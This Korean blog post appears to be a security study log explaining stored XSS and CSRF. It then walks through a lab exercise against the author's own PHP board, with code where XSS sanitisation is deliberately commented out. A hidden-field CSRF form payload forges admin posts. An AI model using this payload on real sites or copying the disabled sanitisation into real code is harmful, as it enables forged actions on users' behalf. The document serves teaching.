&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1393&quot; data-origin-height=&quot;801&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1qhlM/btsL2k5g3EQ/vZgpHtm6c9pYDI0DLrQZKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1qhlM/btsL2k5g3EQ/vZgpHtm6c9pYDI0DLrQZKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1qhlM/btsL2k5g3EQ/vZgpHtm6c9pYDI0DLrQZKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1qhlM%2FbtsL2k5g3EQ%2FvZgpHtm6c9pYDI0DLrQZKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1393&quot; height=&quot;801&quot; data-origin-width=&quot;1393&quot; data-origin-height=&quot;801&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1. 공격자는 악성 스크립트가 담긴 게시글을 작성한다.(ex: 읽으면 회원탈퇴를 자동 요청하는 스크립트)&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2. DB에 악성 스크립트가 저장된다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3. 인증된 사용자가 해당 게시글을 클릭하여 읽는다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;4.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;게시글에 포함된 악성 스크립트가 DB에서 웹 페이지로 전달된다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;5.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;게시글에 담긴 악성 스크립트가 사용자의 웹 브라우저에서 발생된다. (Client-Side Script 로 작성된 악성 스크립트)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;6. 사용자는 다른 취약한 웹 서비스에 회원탈퇴를 요청하는 요청을 보낸다. (사용자가 의도하지 않은 요청)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 예시는 게시글을 읽는 사이트와 최종 요청을 하는 사이트가 다른 경우이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3) XSS vs CSRF&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 악성 스크립트를 읽은 후 공격자 서버로 요청 후 응답을 통해 사용자에게 악성 행위 시도(악성코드 감염, 세션 탈취 등)&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 공격 대상: 사용자(클라이언트)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSRF&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 악성 스크립트를 읽은 후 사용자가 의도하지 않은 작업을 한다. (게시글 작성, 회원탈퇴 등)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 정상적인 웹 서비스에 사용자가 의도하지 않은 요청을 통해서 서버를 대상으로 악성 행위 시도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 명확한 공격 페이로드가 존재하는 것이 아닌, 사용자의 요청을 인해 발생하므로 알아채기 어려움&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 공격 대상: 서버&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1019&quot; data-origin-height=&quot;635&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/COl7a/btsL1Ck6853/rEg9HldodcLAxy8jVKzAK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/COl7a/btsL1Ck6853/rEg9HldodcLAxy8jVKzAK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/COl7a/btsL1Ck6853/rEg9HldodcLAxy8jVKzAK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCOl7a%2FbtsL1Ck6853%2FrEg9HldodcLAxy8jVKzAK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1019&quot; height=&quot;635&quot; data-origin-width=&quot;1019&quot; data-origin-height=&quot;635&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습6-1 CSRF 공격을 통한 게시글 무단 작성, 수정, 삭제 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSRF 공격 원리 분석의 예시(1)을 참고하여 공격을 진행해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 예시와 같이 CSRF 공격이 통하려면 HTML 태그가 먹혀야 한다. ( XSS 공격에 취약한 웹 사이트인 경우 공격 가능 )&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전에 XSS 공격에 대해 시큐어코딩을 적용하였기 때문에, action.php 에서 관련 시큐어 코딩 부분을 삭제한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;action.php 내 write 모드의 content 부분만&amp;nbsp; XSS 공격에 대한 시큐어 코딩을 주석처리한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 게시글 작성 부분에 XSS, CSRF 취약점 존재&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; action.php 의 write 모드의 content 부분 XSS 시큐어 코딩 삭제 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1738433535536&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;	if($mode == &quot;write&quot;) {
		$title = xss_html_entity($db_conn-&amp;gt;real_escape_string($_POST[&quot;title&quot;]));
		$id = $db_conn-&amp;gt;real_escape_string($_SESSION[&quot;id&quot;]);
		$writer = xss_html_entity($db_conn-&amp;gt;real_escape_string($_SESSION[&quot;name&quot;]));
		$password = $db_conn-&amp;gt;real_escape_string($_POST[&quot;password&quot;]);
		#$content = xss_html($db_conn-&amp;gt;real_escape_string($_POST[&quot;content&quot;]));
		$content = $db_conn-&amp;gt;real_escape_string($_POST[&quot;content&quot;]);
		$secret = $_POST[&quot;secret&quot;];
		$uploadFile = &quot;&quot;;

		if(empty($title) || empty($password) || empty($content)) {
			echo &quot;&amp;lt;script&amp;gt;alert('빈칸이 존재합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 게시글을 무단으로 작성하는 실습을 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;호스트 PC(피해자)와 VMWare(공격자) 2개를 사용하여 실습을 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;호스트 PC에서는 관리자 계정으로 로그인하며, VMWare 에서는 해커 계정으로 로그인 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VMWare 에서 해커 계정으로 게시글을 작성한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;VMWare 는 칼리리눅스가 설치되어 있는데, 한글 폰트가 깨져서 한글 폰트를 설치 한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://blog.naver.com/snova84/223375729207&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;여기&lt;/a&gt;를 참고하여 진행한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 내용에는 해당 사용자의 권한으로 다른 게시글이 작성되는 악성 스크립트를 작성하여 실습을 진행할 예정이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 해커 계정에서 XSS 취약점이 존재하는지 확인하기 위해 게시글에 스크립트를 입력한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1160&quot; data-origin-height=&quot;659&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mzeBj/btsL2TuGNQh/Tk34rcq4W9i4kjKA8OsQf0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mzeBj/btsL2TuGNQh/Tk34rcq4W9i4kjKA8OsQf0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mzeBj/btsL2TuGNQh/Tk34rcq4W9i4kjKA8OsQf0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmzeBj%2FbtsL2TuGNQh%2FTk34rcq4W9i4kjKA8OsQf0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1160&quot; height=&quot;659&quot; data-origin-width=&quot;1160&quot; data-origin-height=&quot;659&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 작성 후 해당 게시글 클릭 시 아래와 같이 경고창이 출력되는 것을 확인할 수 있다. (XSS 취약점 존재)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;885&quot; data-origin-height=&quot;249&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dnUZTY/btsL2SvNUIP/Dip4ZBnEp381jBGwwVGiA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dnUZTY/btsL2SvNUIP/Dip4ZBnEp381jBGwwVGiA0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dnUZTY/btsL2SvNUIP/Dip4ZBnEp381jBGwwVGiA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdnUZTY%2FbtsL2SvNUIP%2FDip4ZBnEp381jBGwwVGiA0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;885&quot; height=&quot;249&quot; data-origin-width=&quot;885&quot; data-origin-height=&quot;249&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS 취약점이 존재하므로, CSRF 공격도 가능한 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무단으로 게시글을 작성하게 하는 CSRF 공격에 대한 페이로드를 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페이로드를 작성하기 위해서는 write 의 form이 어떤 형식으로 구성되어 있는지 확인해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우측 상단의 Write 를 클릭하여 게시글 작성 모드로 들어간 후, 마우스 우측 클릭하여 페이지 소스보기로 확인한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;875&quot; data-origin-height=&quot;386&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sxUDr/btsL6lDfCi6/byJ58KrvUGu0HVrYKeinV0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sxUDr/btsL6lDfCi6/byJ58KrvUGu0HVrYKeinV0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sxUDr/btsL6lDfCi6/byJ58KrvUGu0HVrYKeinV0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsxUDr%2FbtsL6lDfCi6%2FbyJ58KrvUGu0HVrYKeinV0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;875&quot; height=&quot;386&quot; data-origin-width=&quot;875&quot; data-origin-height=&quot;386&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;div&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;887&quot; data-origin-height=&quot;856&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b3qPe4/btsL4EROk4y/3kKkkb6IoiBbb9vtkAbXek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b3qPe4/btsL4EROk4y/3kKkkb6IoiBbb9vtkAbXek/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b3qPe4/btsL4EROk4y/3kKkkb6IoiBbb9vtkAbXek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb3qPe4%2FbtsL4EROk4y%2F3kKkkb6IoiBbb9vtkAbXek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;887&quot; height=&quot;856&quot; data-origin-width=&quot;887&quot; data-origin-height=&quot;856&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;div&gt;위 페이지의 소스코드를 참고하여 페이로드를 작성한다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트에서 Write 버튼을 클릭하면 아래와 같이 각 입력값에 해당하는 파라미터를 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;610&quot; data-origin-height=&quot;486&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQDeuO/btsL585dLQq/yodTBE4xFoDj7ovAsCkf11/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQDeuO/btsL585dLQq/yodTBE4xFoDj7ovAsCkf11/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQDeuO/btsL585dLQq/yodTBE4xFoDj7ovAsCkf11/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQDeuO%2FbtsL585dLQq%2FyodTBE4xFoDj7ovAsCkf11%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;610&quot; height=&quot;486&quot; data-origin-width=&quot;610&quot; data-origin-height=&quot;486&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 페이로드&lt;/p&gt;
&lt;pre id=&quot;code_1738591898369&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;form action=&quot;http://192.168.56.1/insecure_website/action.php&quot; method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;title&quot; value=&quot;해커가 무단으로 작성한 게시글&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;password&quot; value=&quot;test&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;content&quot; value=&quot;해커가 작성함&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;mode&quot; value=&quot;write&quot;&amp;gt;
&amp;lt;input type=&quot;submit&quot;&amp;gt;
&amp;lt;/form&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;글을 읽은 사람이 제출 버튼을 클릭하면 무단으로 게시글을 작성하는 코드다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;127.0.0.1 이 아닌 192.168.56.1로 IP를 바꾼 이유는 127.0.0.1은 해커의 환경(VMWare)에서는 접속이 불가하여 사설 IP(192.168.56.1)로 입력하였다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;127.0.0.1 = 192.168.56.1(해커 접속 가능)&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;VMWare 에서 해커 계정으로 접속한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;contents 에 작성한 CSRF 공격 페이로드를 입력 후 게시글을 작성한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;880&quot; data-origin-height=&quot;679&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/blsiBP/btsL4MWBB3I/23KgvKRIyMqn7kQZAAkv30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/blsiBP/btsL4MWBB3I/23KgvKRIyMqn7kQZAAkv30/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/blsiBP/btsL4MWBB3I/23KgvKRIyMqn7kQZAAkv30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FblsiBP%2FbtsL4MWBB3I%2F23KgvKRIyMqn7kQZAAkv30%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;880&quot; height=&quot;679&quot; data-origin-width=&quot;880&quot; data-origin-height=&quot;679&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 PC에서 관리자 계정으로 접속 후 해당 게시글을 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제출 버튼을 클릭해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;879&quot; data-origin-height=&quot;607&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6n2zv/btsL6qdtRTW/rx63cJkOMD9gQvsJY00a40/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6n2zv/btsL6qdtRTW/rx63cJkOMD9gQvsJY00a40/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6n2zv/btsL6qdtRTW/rx63cJkOMD9gQvsJY00a40/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6n2zv%2FbtsL6qdtRTW%2Frx63cJkOMD9gQvsJY00a40%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;879&quot; height=&quot;607&quot; data-origin-width=&quot;879&quot; data-origin-height=&quot;607&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제출 버튼을 클릭하자마자 35번 게시글이 자동으로 작성된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;888&quot; data-origin-height=&quot;460&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwn29N/btsL6rJ9yTi/Ve0T4d68sNl86dOB3SlHKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwn29N/btsL6rJ9yTi/Ve0T4d68sNl86dOB3SlHKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwn29N/btsL6rJ9yTi/Ve0T4d68sNl86dOB3SlHKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbwn29N%2FbtsL6rJ9yTi%2FVe0T4d68sNl86dOB3SlHKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;888&quot; height=&quot;460&quot; data-origin-width=&quot;888&quot; data-origin-height=&quot;460&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자 권한으로 게시글이 작성된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;878&quot; data-origin-height=&quot;592&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vgb8r/btsL6USERtF/f9YWljdgYjkkxJ2yD7UNj1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vgb8r/btsL6USERtF/f9YWljdgYjkkxJ2yD7UNj1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vgb8r/btsL6USERtF/f9YWljdgYjkkxJ2yD7UNj1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fvgb8r%2FbtsL6USERtF%2Ff9YWljdgYjkkxJ2yD7UNj1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;878&quot; height=&quot;592&quot; data-origin-width=&quot;878&quot; data-origin-height=&quot;592&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자 계정에서 제출 버튼을 누르면 어떻게 요청되는지 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;버프스위트에서&lt;span&gt; &lt;/span&gt;&lt;/span&gt;확인해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1537&quot; data-origin-height=&quot;883&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mz7qV/btsL6Tfcodz/9vKjU2FQZ0csjpvIzj9v6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mz7qV/btsL6Tfcodz/9vKjU2FQZ0csjpvIzj9v6k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mz7qV/btsL6Tfcodz/9vKjU2FQZ0csjpvIzj9v6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fmz7qV%2FbtsL6Tfcodz%2F9vKjU2FQZ0csjpvIzj9v6k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1537&quot; height=&quot;883&quot; data-origin-width=&quot;1537&quot; data-origin-height=&quot;883&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
